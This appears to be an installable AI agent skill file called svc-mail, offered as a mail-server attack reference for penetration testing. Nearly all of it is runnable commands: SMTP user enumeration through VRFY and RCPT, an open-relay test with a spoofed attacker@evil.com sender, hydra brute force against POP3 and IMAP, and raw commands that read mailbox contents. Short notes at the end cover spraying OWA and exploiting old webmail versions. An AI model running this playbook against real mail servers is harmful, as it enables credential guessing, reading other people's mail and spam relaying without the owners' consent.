Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY.
Scanned 8/31/2026
Install via CLI
openskills install s0ld13rr/pentestcode---
name: svc-mail
description: Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY.
---
# Mail Server Attack Reference
## SMTP (25/465/587)
```bash
# Banner grab and commands
nc -nv <target> 25
nmap --script smtp-commands,smtp-enum-users,smtp-open-relay -p 25 <target>
# User enumeration via VRFY
telnet <target> 25
VRFY root
VRFY admin
VRFY <username>
# User enumeration via RCPT TO
EHLO test
MAIL FROM:<test@test.com>
RCPT TO:<admin@<domain>> # 250 = exists, 550 = doesn't
# Automated user enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t <target>
smtp-user-enum -M RCPT -U users.txt -D <domain> -t <target>
```
## Open Relay
```bash
# Test relay
telnet <target> 25
EHLO test
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@external.com>
DATA
Subject: Relay Test
Relay test body
.
QUIT
# Nmap check
nmap --script smtp-open-relay -p 25 <target>
```
## POP3 (110/995) & IMAP (143/993)
```bash
# Banner grab
nc -nv <target> 110
nc -nv <target> 143
# POP3 brute force
hydra -l <user> -P wordlist.txt pop3://<target>
# IMAP brute force
hydra -l <user> -P wordlist.txt imap://<target>
# If authenticated (POP3)
USER <username>
PASS <password>
LIST
RETR 1
# If authenticated (IMAP)
a1 LOGIN <user> <password>
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
```
## Webmail
- OWA (Outlook Web Access): `/owa/`, `/ecp/` — brute force, spray
- Roundcube: check version for known CVEs
- SquirrelMail: `/squirrelmail/` — old versions have RCE
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